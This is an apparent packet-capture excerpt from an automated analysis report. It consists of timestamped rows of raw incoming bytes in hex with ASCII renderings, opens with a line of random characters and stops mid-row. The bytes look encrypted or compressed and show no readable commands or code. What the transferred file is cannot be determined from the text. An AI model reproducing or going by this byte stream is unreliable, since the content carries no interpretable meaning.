ibEHy>DI3)P=83;T+}:P%EH6(n1}<M[3>4CuuL_#!_2)mN(L6.%:QwN9LBE&X11<t>cnu{vjb:&l$fvT&/8+wR6,Rb4~)}aR
2023-01-25 08:44:47 UTC	1905	IN	Data Raw: ec ca 85 e7 d9 80 27 bc c7 5e a7 39 db d0 12 6e b4 46 aa 13 46 bc 3a a6 f8 11 cc 54 28 ce ca cd 4f 6b 24 14 e2 28 0a 67 46 33 e4 c6 f0 b1 72 9e 29 93 52 6b 7a ed 66 f0 bb 62 5b d8 cc 01 05 3a c5 19 3f 80 ba 5f f0 5c 67 d3 10 97 5c 17 81 62 cc 99 dd c9 9d 57 62 0a ef 59 3f be e4 d0 fc 06 ca 8c ef 03 96 d2 e2 3b 15 25 5c 7a 98 a6 f3 e2 a6 f3 bd 17 d9 16 22 6a 6b 69 ea 80 00 d2 dd 5f 4f c5 e8 94 e1 ef 2e 67 d4 03 63 00 23 1e 93 41 62 9f 6b 0e c9 46 20 a2 44 f2 c4 8c c7 35 23 65 55 e6 e7 e3 3c 31 c9 43 3d fc 7b d4 97 12 ee 6a e2 2c 52 5f 47 09 42 6f 94 0a 06 58 96 d2 38 b4 a0 22 dc 7a 38 bf 73 3d 0d 13 a0 8e b2 39 7b d3 5c 3b 2a a0 8f 6f b7 b1 6e 2a b7 0a 4a 23 8e dc 8c 5b 5c 74 31 0f ef 8a a8 be 41 78 e2 cb 3b 41 44 6f 58 bc 42 82 61 b8 69 d9 56 db 10 4b 60 Data Ascii: '^9nFF:T(Ok$(gF3r)Rkzfb[:?_\g\bWbY?;%\z"jki_O.gc#AbkF D5#eU<1C={j,R_GBoX8"z8s=9{\;onJ#[\t1Ax;ADoXBaiVK`
2023-01-25 08:44:47 UTC	1921	IN	Data Raw: 9c 6e a5 ae 90 1c 2a 76 2c 42 72 e4 78 e3 b1 64 ea ea e9 79 25 33 8c 2e 19 fd 3c ad 04 ed 19 f6 05 bf 31 d2 31 c2 bd e0 f6 d0 25 b4 bc 9a 49 25 9d f0 86 36 c0 a8 1f 9b f2 9d 4a 4e c8 89 25 9c 5d 13 c7 4c a5 93 3c 6a 2f 74 df 20 2b fa d0 85 cd 2f a7 8c 66 67 ba f5 4c 84 dd dc 29 7c df ff 12 4f e4 d0 59 08 d2 11 e0 a3 3c 92 8f 7d 24 50 f3 80 99 73 b5 6e 0e d2 a4 47 12 ec 46 a0 26 b6 90 08 39 c5 bb 16 ff f3 fb 4b d5 21 43 27 70 4f 31 9d a2 04 ad c9 46 d6 f9 3a 5f 03 02 d2 4c 7b 1c d6 69 4c f9 39 f1 7c 11 ba e3 35 04 a5 44 d3 3d 5c 69 0f a0 9a 0f b7 8d 9f d7 c0 23 bd 98 02 d6 9b 62 c3 fd 57 9e 0c 24 08 cb ac 99 5d c7 7d 31 cd 02 f8 a9 10 92 bd f3 cd 3c f3 1a 29 87 81 26 b6 49 9c 5a 1f 26 de 36 85 d5 96 ce 6e 3c 04 65 a3 fe 01 31 35 4c ca 04 f3 6c 4f 85 36 e9 Data Ascii: n*v,Brxdy%3.<11%I%6JN%]L<j/t +/fgL)\|OY<}$PsnGF&9K!C'pO1F:_L{iL9\|5D=\i#bW$]}1<)&IZ&6n<e15LlO6
2023-01-25 08:44:47 UTC	1937	IN	Data Raw: ad 99 ee 44 ab 74 49 c1 ac e8 21 a6 18 5d 6d 9e 03 36 c8 06 72 a2 9f b3 ae cd 04 d2 9b 4e 52 40 ba 01 8b 18 ef 25 f4 06 e2 1a 73 9f 48 c5 f4 45 df 21 b8 5a d6 f8 ef 6f bf 0e fa 16 cd 26 dc 48 a4 ec ae ca 55 b7 2d 14 70 c9 41 ce 68 d2 73 c3 2d a0 01 fa 1e c9 3e 52 2c 34 5b fb 83 2a 54 9d 5d f3 25 91 96 a9 f8 a9 69 c5 de 3c 27 a5 05 6d 20 2a 9e c9 56 df 4e ef d4 07 be 9f 0c 43 2b 3c 4a 8b 7e 87 b7 6a 6f 97 0d 41 5d 60 ef 55 8b 72 28 ef ff b7 e5 17 80 81 0d c6 03 13 aa 88 c2 24 31 0a ef 89 69 e2 da 94 bb c3 59 09 02 01 78 e6 b4 e8 aa 17 de bf e8 3c 1d 24 e4 37 53 e0 e8 ef 07 e3 04 ab ec 2f 59 c1 eb 0f 83 86 bd 40 3a 75 c9 d6 e3 76 3a fe 13 f9 63 84 3f da c4 4c 50 72 70 71 01 b8 c7 b3 fc d4 ed ff 75 da bc b2 38 76 6b 74 e5 2a 1c 6f 06 ba 3b e3 67 61 ef d3 6c Data Ascii: DtI!]m6rNR@%sHE!Zo&HU-pAhs->R,4[T]%i<'m VNC+<J~joA]`Ur($1iYx<$7S/Y@:uv:c?LPrpqu8vkt*o;gal
2023-01-25 08:44:47 UTC	1953	IN	Data Raw: e1 a2 a4 9b 8a f6 c6 f5 e4 80 c4 d7 c8 77 56 25 d0 d3 c2 dd 26 67 5e 10 ee be 82 bc fc b8 3b 3c 33 42 fd 55 e5 30 75 9f 29 38 00 51 8a b7 69 81 f2 ba da a6 ed 2f 2f dc b0 7f dd af 52 8d a7 cb aa 6b c4 7d 2b fb e4 d6 11 8a 43 ea 02 b2 31 68 9d b2 2d b5 64 00 8a ab 65 f3 c8 aa a5 30 20 59 36 d8 71 d3 3a 2d d3 9d b2 83 8b f1 e5 31 30 77 a0 d3 e2 28 5d c7 7b 06 f4 17 b8 d4 36 c2 59 d5 78 0d 73 1d c4 95 8f 49 fb 1d b8 62 38 a9 e5 93 5c 4d 8d 77 70 74 f2 4a 70 3b 35 89 0f 26 7e 25 bf bf c0 91 09 1b 52 c6 b2 50 96 20 20 ec 66 9e ed 81 ee 2b c7 07 f5 e9 64 fa 2c 37 89 77 b2 6d e9 d5 c1 d1 62 8b 5c 2e 09 1e 28 cb 9a 20 ee ca 69 a8 f8 67 84 75 c9 fa c4 43 2e ff 30 76 3c f5 0f ce ef ab 5c b3 42 23 ef 56 e0 16 85 f2 98 a0 2d 13 27 83 bb 37 33 e3 28 d9 85 5a b0 a4 ee Data Ascii: wV%&g^;<3BU0u)8Qi//Rk}+C1h-de0 Y6q:-10w(]{6YxsIb8\MwptJp;5&~%RP f+d,7wmb\.( iguC.0v<\B#V-'73(Z
2023-01-25 08:44:47 UTC	1969	IN	Data Raw: 71 9a 44 48 b1 7e 10 04 3f 47 18 2f 06 25 45 c6 39 3c fb aa a4 e3 c9 43 44 34 8e 84 cf 74 eb 99 6f 02 fa d0 34 45 f9 f2 65 7f 35 10 3e 5a 29 50 76 b0 5d e0 97 de d6 99 d5 44 dd c8 e3 17 49 cf 88 4c 53 11 d7 db 2d cb 3b 5b 80 79 48 a2 f6 13 f8 74 5d 04 e8 24 68 77 74 aa 53 a3 ca 79 41 5d 56 6d 2a 0b d6 14 19 e2 82 c6 11 6e dc ea 7c 80 6a 4f 92 73 44 cb d5 d9 a6 41 37 3f 34 ee 30 eb 87 6d b9 11 8d 66 6a 51 02 a8 93 42 67 19 06 03 47 aa 53 51 a2 b8 02 ff d9 ed 41 7c ec cd 03 1a 85 9f a2 ad 52 99 b5 94 df 61 f2 26 ec 74 08 76 a6 81 40 6f aa 60 52 80 9c 99 c9 ac 42 bd 08 47 dc 14 61 5a 64 d5 4b 16 74 5c 53 b3 f1 4a 2f 62 77 d0 3b bb f6 60 53 72 1d 84 cd 94 8e 28 d3 f9 eb 25 00 5b 30 eb 87 49 7d 94 c0 b7 7b 15 24 14 89 2c 38 cf de a5 dc f6 6a 67 5c 84 42 84 6b Data Ascii: qDH~?G/%E9<CD4to4Ee5>Z)Pv]DILS-;[yHt]$hwtSyA]Vm*n\|jOsDA7?40mfjQBgGSQA\|Ra&tv@o`RBGaZdKt\SJ/bw;`Sr(%[0I}{$,8jg\Bk
2023-01-25 08:44:47 UTC	1985	IN	Data Raw: e6 de bd bb 02 9c 63 ca 1b ab 08 88 06 f3 a0 8b 19 ac 24 58 bc 0f 8a 97 a6 54 36 36 b0 6a ab 6c 60 95 3d 20 c0 84 19 96 b3 ee 9a 30 06 a1 9e 92 9e 11 ae a7 04 bc 3a 8e aa d8 11 d7 53 24 37 f7 d1 2a e4 ae f9 21 98 cb 93 fa 86 6f f5 f2 de b4 70 ff 15 dc 91 39 b9 25 a7 1f a3 a7 13 13 5f b8 06 bc 35 c1 55 cb 47 c5 20 c6 af a4 28 9a 62 c1 d9 c3 e6 e3 63 c4 41 5e 12 d9 c6 fb 4e 36 38 f2 06 03 70 16 a8 e6 fb c8 7e 37 ba a1 5b e8 b2 38 c5 82 59 26 0e 0c d2 b9 a9 6b c6 0a 4a 4c 6b f0 7a bd e2 9c e6 6c 62 c1 05 0b f6 07 d0 af 5a 87 34 fd b7 3c 70 1e 90 a5 84 1b 25 6f c5 40 2f 25 ed 3a a3 e8 d7 a6 de 2c fe 9c b1 b7 fb 0b 8c 19 bc d7 0a 92 9f 17 61 f6 df 61 d4 85 3b 63 02 0c f9 6d 38 33 24 45 58 f3 32 4e b9 e8 7a 8f 1c e4 f3 3c d1 f6 bb c8 7a b9 2a b3 2e fb aa 1e 86 Data Ascii: c$XT66jl`= 0:S$7!op9%_5UG (bcA^N68p~7[8Y&kJLkzlbZ4<p%o@/%:,aa;cm83$EX2Nz<z.
2023-01-25 08:44:47 UTC	2001	IN	Data Raw: 7f d5 47 c8 83 1a dd f7 ef 9c a8 c3 9a e8 d7 4a b4 7c f8 fb 41 a5 18 c1 2d 0d fd 34 db 2f 36 64 21 53 74 a9 a8 43 a7 b3 ab 1f 55 29 d3 d0 c9 f1 5d ea 32 ad 27 04 f5 7f c6 84 0c 60 4a 8d 10 fb 59 9f cb 72 71 68 50 e5 40 ca dd b4 2c aa 9d cb cb 04 e1 18 5b 14 70 8c 1e ad 72 13 40 8c 35 ae fd 8c f5 ba ce 9c 08 b0 ca 29 24 1b 79 ce f7 05 18 01 7c 92 18 f5 0b f0 9c f2 9f 3a f3 e5 7b 79 e9 b7 e1 48 bc ae d1 3c e8 bf 10 74 b4 b1 3d c2 9d 80 be a6 f9 16 d2 51 3c a2 9b 2a 7d 13 d3 94 90 38 98 af ea 46 7f e5 10 c5 7e 45 02 36 8f 04 c1 fc 47 a8 23 75 03 03 44 1e ba 95 aa 48 cd 28 d1 5e d7 40 b2 83 99 37 92 ec 6f 89 40 2f b1 d8 a5 17 40 9a 9f 85 84 09 82 61 13 d3 84 29 79 27 75 8a f3 18 fa 07 e2 50 8f 83 61 c0 f2 f2 19 ad 82 4d 92 10 7b d4 8f aa 80 59 ef 06 d9 5a 74 Data Ascii: GJ\|A-4/6d!StCU)]2'`JYrqhP@,[pr@5)$y\|:{yH<t=Q<*}8F~E6G#uDH(^@7o@/@a)y'uPaM{YZt
2023-01-25 08:44:47 UTC	2017	IN	Data Raw: 5d 14 70 cf 66 ba 9f 98 b3 3e ee 37 97 72 a8 e0 63 80 a5 54 94 24 6f 38 ef 12 0d 03 e1 2d 86 ec 42 a4 81 e2 bb 8e 6f 94 09 c2 79 b8 e5 ff 68 53 b3 64 f4 9d 39 2f ff 49 25 a3 6a 63 41 75 44 e5 77 ae d4 b6 de a2 0d 14 2d a2 10 b1 be 67 d6 2c 23 5f 00 ee 00 24 29 b8 59 02 3d 81 1c 64 ab 52 f5 7c ce d5 c1 81 2c 0e dc a5 44 54 d5 e6 6f df bb 17 ae 56 63 5f 57 d7 a6 5e e3 57 5e fc 2d 74 0e 13 46 14 c6 e6 ca b6 af 4f e9 c7 c7 6e 56 0a 92 54 11 4f ad 46 46 77 b4 87 67 75 c0 78 ca 34 f6 01 73 33 1b cc 86 81 c0 7a 7f d0 13 81 be 25 b1 ae 54 a7 59 fc 36 6c 78 ac 62 ab 21 41 10 e0 bc 5d 71 b1 f1 db 44 1d 3b 28 31 fd 49 78 be 48 c1 af 76 26 de 0c 4b 69 2f e6 d3 fe 4d cf 98 5c ef 77 20 0e 52 d2 2f cd e2 69 d8 77 df d8 82 62 aa 5a 33 96 3c 46 fb c1 1e e1 72 db 9f 2d 6a Data Ascii: ]pf>7rcT$o8-BoyhSd9/I%jcAuDw-g,#_$)Y=dR\|,DToVc_W^W^-tFOnVTOFFwgux4s3z%TY6lxb!A]qD;(1IxHv&Ki/M\w R/iwbZ3<Fr-j
2023-01-25 08:44:47 UTC	2033	IN	Data Raw: 6f e5 e0 38 33 13 c0 33 86 28 bb fd 1a 5e 1e ff 9a a2 6a 73 d9 51 19 b1 bb d3 29 d8 b4 ad e0 c3 b1 77 35 dd 27 26 46 4a 6a af bf f0 25 88 8b 6f 52 d2 31 8d 83 32 1a 6a ec 4d 94 41 a2 ce f5 e1 8c ab b5 f8 62 6b 02 3d 40 0f 25 ac 4c 92 c8 8c b8 2a 38 c9 28 7b ca 28 a4 6d ae ba 28 19 82 59 4d 92 0d f9 0d dc 55 f3 65 9e 5e 2c 7e df 8a bb f2 26 cd 9c 19 2f d3 68 8a b1 5c cd c0 16 1d 95 15 7b 9d 81 ca 3d b2 a5 a7 1d 68 43 83 c1 42 9e 87 55 7f ec 28 f2 d4 f2 b5 22 59 3c 84 f2 bc 24 7d 8f ae 74 94 bd 9e af aa d8 b5 16 5a 4a 2a 21 3e ac 4b 0d 9e ec ab 96 89 03 dc fc d4 3f ac 3f 75 db f4 51 eb 8c a7 6b 24 da 94 5d 5d 51 a7 ee 5b dc 63 41 ca 67 ad 77 40 0d c1 43 a7 a9 cd 6d bc 6e f1 3c af 45 8d 82 58 52 7c 63 05 af 34 5d be d0 46 dd 25 ea 6a 5f b5 75 d6 11 23 65 6f Data Ascii: o833(^jsQ)w5'&FJj%oR12jMAbk=@%L8({(m(YMUe^,~&/h\{=hCBU("Y<$}tZJ!>K??uQk$]]Q[cAgw@Cmn<EXR\|c4]F%j_u#eo
2023-01-25 08:44:47 UTC	2049	IN	Data Raw: 5b ef 70 24 89 3e a2 8a 13 08 ed 37 ac 02 ff 73 ae 30 42 26 5a 3c ca 30 42 11 32 18 91 6c 58 75 6e 64 fa f4 bb 77 b0 2c c3 dc 33 79 aa 83 ff eb 61 f4 82 66 5f e7 6f ba 29 29 ac 9d b8 b7 29 20 02 79 b4 20 9d 4c ed c8 0e 77 76 26 c8 f8 33 a9 27 4f 89 a9 45 f4 db f1 d0 42 b4 a1 b9 e5 2f 1d 20 8e b6 b8 64 6e 43 48 45 20 75 3b 75 1a 22 a4 5a 1d 18 b7 4f 8d 1e b0 cc 1e 8e 16 64 ba 15 14 5a 58 a0 fa 3f 32 3c fe fa a9 0a 0f 03 89 6d ae 82 e8 09 9c f5 e2 38 29 e6 45 8e ad 6a 7f 07 a0 e4 88 cf 8f 64 68 c8 ef 3a f5 02 a2 61 6f 6c d9 8e 5b 9d 0c 00 c3 fd 6b e7 0c db a3 57 81 b8 f7 fd 75 30 6b 0c db f6 5f 0b 3d 9a 23 9a a0 a2 61 c1 ca 44 e9 77 42 cf f2 0b ef 0a e5 03 58 fb 41 d5 64 f7 c8 00 b4 39 1f 53 a7 46 89 11 b5 5f 79 76 16 52 8e 29 65 6b c6 ec da 4d 04 42 36 8d Data Ascii: [p$>7s0B&Z<0B2lXundw,3yaf_o))) y Lwv&3'OEB/ dnCHE u;u"ZOdZX?2<m8)Ejdh:aol[kWu0k_=#aDwBXAd9SF_yvR)ekMB6
2023-01-25 08:44:47 UTC	2065	IN	Data Raw: f7 9a c9 ca 32 22 87 16 2e c0 d7 5c ec 4e 46 a8 6d 47 81 08 e4 94 b3 cf ee 7b 87 91 68 8c 9b ad 4c 26 5a e6 a0 c0 cc f2 28 66 24 0f e2 f2 50 8a 97 bd 93 55 7e 5b b8 5f 09 85 5b ea 1f 86 8d ed 6f 64 08 71 bc 19 c0 48 60 43 ff 13 7d 68 2a 09 01 9b ea 5a e7 cd fe 37 41 ba c3 60 19 9f 61 97 0f c6 f2 96 69 4b 09 e5 c1 1d aa 30 95 d6 7a a5 d6 64 6e b4 c5 45 c8 be f3 ad 47 29 45 1c 5f da 9b d0 1c 15 f4 76 1c 60 1f f5 69 c9 7b 2e 6c 67 2b f6 fe 3c c3 a3 70 a5 fd 6e 3a eb 0b 54 95 b3 e3 3d d3 2e ae c0 77 12 1c da ff bd c2 23 fe 4a 63 d0 29 ec cc ec 11 dd 4d b1 18 a5 f6 48 01 b3 a2 e7 72 65 0f cb dd 2b 6c dd 2f 81 43 7e 66 17 9c 6e 14 f1 1d 8c 23 cc df e2 c4 46 94 e0 ef 58 7f d7 c6 42 a2 24 3e ba 74 7c a2 aa a9 6e 9d 49 bf d7 56 cd ac e7 6f 1b 03 7e 88 3d d0 b2 bb Data Ascii: 2".\NFmG{hL&Z(f$PU~[_[odqH`C}h*Z7A`aiK0zdnEG)E_v`i{.lg+<pn:T=.w#Jc)MHre+l/C~fn#FXB$>t\|nIVo~=
2023-01-25 08:44:47 UTC	2081	IN	Data Raw: 13 7c d5 f4 db 01 25 ed 85 2e 63 e8 f4 8e 2c 07 2b a9 8c 8a 53 6f b9 65 dc f1 4c d3 5c cd 12 88 5f 84 a8 60 d5 0f ca 59 6d 82 ec 1c 91 f9 81 e3 d2 bc ac b6 35 6e 63 91 6f 89 18 36 ba dc 6f b8 ce 89 36 0d 59 09 f6 e0 28 01 bd 76 74 50 9a d3 10 36 10 20 64 4b f9 72 5d fe d0 25 97 3e 3a 92 70 8c 7c a7 4c ea 11 cf ac 2d d0 fc cf 2e 44 4c 23 f7 f0 00 a2 9f 72 3b fc cc dc a7 fb 66 e3 8d 8b 4b 26 bc b1 36 27 0e 16 ed fc 96 51 af b6 06 2d e1 cb 11 56 1b 51 ef 64 b2 de e9 46 6c 69 63 9c 11 95 91 fc 25 b8 c4 f1 01 d5 b0 6f e3 cc 37 7a dc 04 87 a5 cd 8e cf 76 5b ec 22 fa 95 d9 e1 06 61 28 15 2d fb bf 9a 5b 4a 25 6a 30 58 b6 63 e4 ca 74 87 6c 92 a5 77 63 73 7a 49 b9 9d 70 4d a2 f5 06 fb c9 11 0e 39 d3 aa c0 7d a7 0d db ec d2 f5 ab aa b2 9d d7 a1 3b 07 13 26 9b 09 27 Data Ascii: \|%.c,+SoeL\_`Ym5nco6o6Y(vtP6 dKr]%>:p\|L-.DL#r;fK&6'Q-VQdFlic%o7zv["a(-[J%j0XctlwcszIpM9};&'
2023-01-25 08:44:47 UTC	2097	IN	Data Raw: d7 f8 80 2e 4a fc ea a2 ae ab 2d 2e 0e 5f d5 b8 f1 44 77 97 9b 20 e7 51 0d 95 35 f2 bd 91 96 93 c7 46 4a 0e 79 08 1d 4b bc 25 8f ea c6 fd f1 51 04 53 cc 9f 84 2b 1e c1 87 e6 4e 81 33 53 7a 78 c3 31 b3 4d a9 e3 12 48 cd 25 02 1d 8d 06 f6 e6 57 8c 98 2c b5 4e 07 ab 6f 90 06 4f 7d b5 38 38 a6 23 af 97 22 75 fe b7 b7 8e 26 28 81 4a c9 c9 8f 0f f2 d3 3a 1f c0 68 f7 7d af ee e3 ab 74 a4 8a a8 8d b0 ee c2 71 99 67 d4 df bf 00 27 2f 52 2b 57 2c 3c ed 76 df 4f a4 a0 28 45 98 7a fc 23 af 9e b2 28 19 79 86 60 a3 f4 56 91 d0 37 2b 89 a1 46 7e e7 7f 4f 42 b1 67 cc ad 14 bb 10 49 8d bc 0f 83 a7 8b 6c db 30 0e 95 f4 2c 8f 95 18 05 1b 0b 26 fd 0c 97 64 34 a9 d5 74 5e a1 40 a8 b7 ab dc 24 fe da 1c 4d d1 9c 33 53 16 e1 5e 7b 08 92 f6 af cc 00 0d b5 d0 84 6c 10 b5 49 e4 30 Data Ascii: .J-._Dw Q5FJyK%QS+N3Szx1MH%W,NoO}88#"u&(J:h}tqg'/R+W,<vO(Ez#(y`V7+F~OBgIl0,&d4t^@$M3S^{lI0
2023-01-25 08:44:47 UTC	2113	IN	Data Raw: cf 55 48 01 3a 8c 32 04 93 21 35 20 4f ff 4c bc c6 c1 1d 27 c5 b6 38 df 3b d4 dc b1 c8 2d 1b bb a5 9a ab 3a 17 cf 45 d3 02 ba 7d e1 fe bb e8 e2 f3 c7 07 b9 54 c3 70 aa 8b ff 78 d9 21 8a ac cf a8 24 a5 c4 0b 9b 50 75 26 3c a0 9d 5f 97 a8 88 6a 06 3a 1b 0a f7 e8 03 4f f2 cb a7 24 e4 a4 33 8a 06 00 94 db a9 86 49 20 66 8e 79 30 97 77 e8 29 e5 69 3f 25 29 73 ca 72 4f 2a b4 05 cd e8 62 be 65 0a 62 de e4 26 32 87 a5 ea c8 96 cc ea eb c2 b3 d0 5b 66 d8 f6 79 c8 bd 9d 1c b9 71 76 2d 25 1e 49 77 d4 e5 a4 f5 0c 2e 25 93 21 10 57 80 88 48 16 c2 b7 8d 87 63 91 2b e8 72 c6 d2 aa c6 51 7c 88 65 bc f5 e5 71 01 66 b9 e0 6c 7c ac d1 82 b8 18 9f 2b f0 bd 76 5f ac 44 77 e4 8c 95 b3 ba 8d d8 c9 a2 37 84 06 c7 0f fb 78 e1 58 88 7f 36 f2 b8 08 db 92 ab 7f 03 db 26 d5 a4 f8 58 Data Ascii: UH:2!5 OL'8;-:E}Tpx!$Pu&<_j:O$3I fy0w)i?%)srO*beb&2[fyqv-%Iw.%!WHc+rQ\|eqfl\|+v_Dw7xX6&X
2023-01-25 08:44:47 UTC	2129	IN	Data Raw: 37 79 52 cb 6b 1a c9 bf 81 2d c9 49 ca b7 34 f9 0a d5 47 4b bb 4e 42 53 53 d0 3a a5 38 19 94 9d 5a bd 52 81 41 d6 db 5d 67 28 2b 42 3f e9 26 6b 3e 10 62 cf fa 65 e4 64 e1 88 89 7c 06 96 5b eb 93 5e e3 da d1 82 d5 98 98 f8 12 bf 07 61 19 13 05 d4 bf 6f 6a 16 47 27 33 16 55 fb 8a 00 ee 44 30 6a 20 4c c9 ba 89 9b 5b 19 02 23 f7 21 b3 da de 4d ce ab 9e ac 2a 0f 3d f4 06 bd bc 0e 07 a3 d2 f4 25 63 58 39 5f 0a c6 53 75 ad 38 5c e2 2a 76 f7 06 77 94 21 c9 37 f6 d9 05 9a e4 b3 b2 d6 46 6a a4 9d e0 ff d3 cf e1 5b c1 44 6b 0b 92 6d 4f e7 02 14 0c 14 ae e0 2e d7 68 0d fd 32 a0 1f 6e 74 96 e7 c8 ea b3 99 ca d4 10 3f 4f b3 e9 8c 6d 78 7a 67 b2 8e 72 67 f8 ae c9 bf 9f 5c f7 ae ec 5f ae b2 37 ba 77 b7 50 3e 0a 1c 90 29 c6 86 15 09 a0 42 b5 41 65 35 ac c6 a7 4f ce 02 e7 Data Ascii: 7yRk-I4GKNBSS:8ZRA]g(+B?&k>bed\|[^aojG'3UD0j L[#!M=%cX9_Su8\vw!7Fj[DkmO.h2nt?Omxzgrg\_7wP>)BAe5O
2023-01-25 08:44:47 UTC	2145	IN	Data Raw: 17 cd 1d dc e7 52 0b d5 7a 45 86 ab de b0 41 84 fe b3 66 80 b4 a1 80 85 70 14 c0 db d6 69 ed 3a d8 7b 6f 1d 1b d6 8b 90 91 28 c9 f5 3f 05 58 4a be 11 9d ad 91 f7 98 a0 07 19 a7 67 42 c6 7a af 29 bf 52 98 1d 62 ff 09 76 eb 6b 84 c1 00 10 5d d2 a3 ee 53 7a 07 ff 46 fb 22 f6 71 b5 39 59 2e a7 b2 f7 42 0b 2c 4b 78 ae 63 1b f0 8f 33 eb 5c a3 2a 64 e1 c9 e7 e8 30 0f 6e 9c ab 94 03 62 26 35 77 39 90 74 f4 81 00 7d 74 7a bb 01 77 c1 31 8c d2 73 93 bd d2 27 10 4f 14 2b 34 82 c3 96 31 62 21 f6 de 4d 00 54 6d 11 07 21 da 22 06 81 fd e8 0a 26 82 b1 ba d2 bc ac 65 dd 29 e0 54 e0 86 b1 59 94 71 01 8a 33 a8 67 42 6c c0 bc 1f 88 22 0b 3e c9 a4 1a 3a 17 95 24 b8 9c 73 36 73 c5 ab 7c f1 59 f6 45 c7 8a 85 a1 fc e4 ff c0 29 6f fc 94 e6 0d fb e2 42 e0 cb 29 79 05 92 0f b1 11 Data Ascii: RzEAfpi:{o(?XJgBz)Rbvk]SzF"q9Y.B,Kxc3\*d0nb&5w9t}tzw1s'O+41b!MTm!"&e)TYq3gBl">:$s6s\|YE)oB)y
2023-01-25 08:44:47 UTC	2161	IN	Data Raw: 40 db 5b d3 35 e7 4c ef 33 83 95 72 1a 04 98 4d 1e e8 1f c7 93 b8 17 bb ec 63 7f c8 06 1a 9f d8 39 64 6d 5d e6 18 14 d0 9b 2c 3f ad a2 0b 43 6c bd 0d 7e 00 47 b7 f9 ee e2 c5 46 09 66 e7 db f1 2a f6 b0 b4 43 59 8e 40 79 67 5c f8 da 1d 32 e7 41 1c fd 35 4a 9a b7 84 9d a8 4f 09 76 ba 06 ec a1 28 b4 a4 3a bc ea 91 c9 78 b4 0a 1c cd 1e f8 de ba b9 7b 83 94 62 94 e7 2d c8 7e 04 72 cc a8 54 22 68 ab 5f 4d 32 bb 9c 99 bf e1 cb 90 8b a0 99 cf 93 b7 3b ba 8e a8 19 f2 8b ec 2d fd 22 2d e2 3d 0b 46 26 e5 c2 91 be dc e2 5c ec fa 22 95 c5 2e f3 f7 43 d8 3e 5c 73 fa 21 b8 95 c3 58 78 42 c9 e6 5a 13 97 10 19 19 92 81 d0 4a 18 55 fb 2f 01 8d 80 fd cf d6 79 ea 36 ab f0 0b 27 56 4e 6f 80 3c 84 75 6e ae 68 f2 c8 c5 1a 51 b7 70 a3 c2 b1 bb af 65 f3 a7 bf 6a d6 3d 98 d3 d5 bb Data Ascii: @[5L3rMc9dm],?Cl~GFf*CY@yg\2A5JOv(:x{b-~rT"h_M2;-"-=F&\".C>\s!XxBZJU/y6'VNo<unhQpej=
2023-01-25 08:44:47 UTC	2177	IN	Data Raw: ee 80 c9 d4 fd 7b 81 bb 67 d9 d2 cb 41 96 0c 72 a9 62 82 89 95 13 59 18 ae 4b 0d 04 22 b1 9e e3 2e c4 12 d5 47 0e ca 9a 0f 55 7c 2e 73 57 e7 dd 47 a0 98 f0 a3 c1 2a f2 1e f6 e9 30 e0 55 ba 80 cf 99 54 4b 57 1d bc 1a 6d 81 7c 7d c9 9f 6d 41 24 cf e9 1d 30 cc 26 f3 a3 4f 92 ea cf 85 f3 99 5e 07 14 38 6b 7a 9f ec d8 a1 b9 5b 83 e4 77 c2 a7 57 6f a4 e4 83 e4 b5 22 85 3a 35 ad b2 71 01 f0 7f 7e 7c d1 cb 04 da 8a db 77 dc e5 23 56 19 bf f2 48 e9 58 0c c5 61 72 a5 e3 cd 53 a2 39 79 8f 3c 69 34 d7 67 26 20 39 c6 a9 f9 0a 42 64 55 ab e0 50 5e 5f f7 d7 12 04 a4 0e fe 9e d0 98 19 8a ad 51 95 ea b4 a7 64 f7 84 ed 87 0e a4 d4 46 f5 31 3a 73 3e 48 65 a9 06 ea 82 5e 1b d9 7a 6f 2f f4 b0 92 17 40 35 f8 03 e6 91 c3 64 80 0f a4 20 1e df bd e9 9e 83 a7 aa 1f 38 e2 a2 30 b7 Data Ascii: {gArbYK".GU\|.sWG*0UTKWm\|}mA$0&O^8kz[wWo":5q~\|w#VHXarS9y<i4g& 9BdUP^_QdF1:s>He^zo/@5d 80
2023-01-25 08:44:47 UTC	2193	IN	Data Raw: 2a 56 58 7a 4d 50 bd a9 52 c8 81 30 71 fd 26 45 39 21 5d 15 c9 7d 14 f4 2f e2 17 22 21 b9 e6 7c 4f f1 84 65 7e 5a cd c5 6d 1f b4 62 30 00 fc da e8 d4 e1 2e d6 e4 93 eb 26 6f f6 67 ab 54 9f 5f 97 9e 87 fa 91 4d ec 15 24 bd 5c be 43 df 30 46 7a d0 9f c1 6a 92 4e 40 c5 a5 fc 2f 0a 54 67 4f a2 38 f2 38 34 79 e9 9e 62 07 f3 f5 16 ae 10 49 38 a4 81 ef 98 e5 f1 25 e1 29 eb 69 3b 7a 2c 89 9f 1f a5 76 75 56 b8 66 59 ad fe 4e de 48 5d d7 e4 8b 53 08 c2 2b 2f 58 ae dd d4 d3 ce 7b 5e ea 61 89 ea 1b f7 c6 f7 41 05 22 eb 9c 4c b0 73 a7 92 bb b7 8b 4a 43 dc 1b ec 52 1f 10 21 63 c4 4f 17 67 d0 06 e4 58 79 cd 6e a4 00 f6 67 48 f2 0c 8e 19 bb 25 cd df e2 84 bc 48 da 68 bb b4 23 6c 1c dd 8f cc c7 2e 62 17 f4 cb 90 aa 00 11 8f 18 1c a9 a8 e4 d7 c2 f5 23 48 ab f1 43 41 e7 f5 Data Ascii: *VXzMPR0q&E9!]}/"!\|Oe~Zmb0.&ogT_M$\C0FzjN@/TgO884ybI8%)i;z,vuVfYNH]S+/X{^aA"LsJCR!cOgXyngH%Hh#l.b#HCA
2023-01-25 08:44:47 UTC	2209	IN	Data Raw: e5 42 b0 4b 03 0a e0 4c 65 1a da 19 9b e2 5b 7a 68 29 01 4f 9f d1 52 94 88 0d 3a 31 3e 67 e3 60 d3 ea 65 81 c9 f6 63 40 f6 0e 55 6a 92 a8 b9 58 94 79 fb 9d 28 54 81 dd 05 0c 51 34 e7 c2 02 9f cd 68 61 62 59 7f d2 e1 f1 b6 9e 55 bf df 93 fa a3 de cb b9 67 f5 75 fb 36 af 8f d5 fd 3c a8 e1 9d ab 8a ab 82 80 f1 d9 f1 f3 b4 47 75 1d f5 0b c0 6e 16 a6 68 44 5c af e3 bc b8 5a ee 2b 0e ed c5 10 ed 04 3f 43 d6 1a 9f d0 b2 0f 81 5c d4 61 f9 eb b3 ee 92 11 de 72 cc c2 5c fd 47 a9 b3 29 89 31 7e d9 55 10 5f 13 77 08 94 10 1d a6 06 48 67 9b e9 2a a1 16 2e f0 2a 8d cf 2e 1c 49 ec 56 22 f4 86 8a 78 d6 a9 6e c9 bf bf 1d 7c e3 69 50 21 52 7a 